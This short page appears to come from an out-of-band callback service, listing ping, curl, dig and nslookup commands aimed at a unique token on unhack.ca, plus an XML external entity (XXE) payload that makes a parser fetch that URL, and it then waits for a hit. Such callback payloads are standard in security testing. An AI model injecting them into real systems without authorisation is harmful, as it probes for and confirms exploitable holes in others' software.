$ ping -c1 -p 008e9bb62533b5ec82cd3d3227f6df00 unhack.ca
 
$ curl http://unhack.ca/p/8e9bb62533b5ec82cd3d3227f6df
 
$ dig 8e9bb62533b5ec82cd3d3227f6df @unhack.ca
 
$ dig 8e9bb62533b5ec82cd3d3227f6df.ns.unhack.ca
 
C:\> nslookup 8e9bb62533b5ec82cd3d3227f6df unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8e9bb62533b5ec82cd3d3227f6df">]>
    <foo>&xxe;</foo>
Waiting for ping...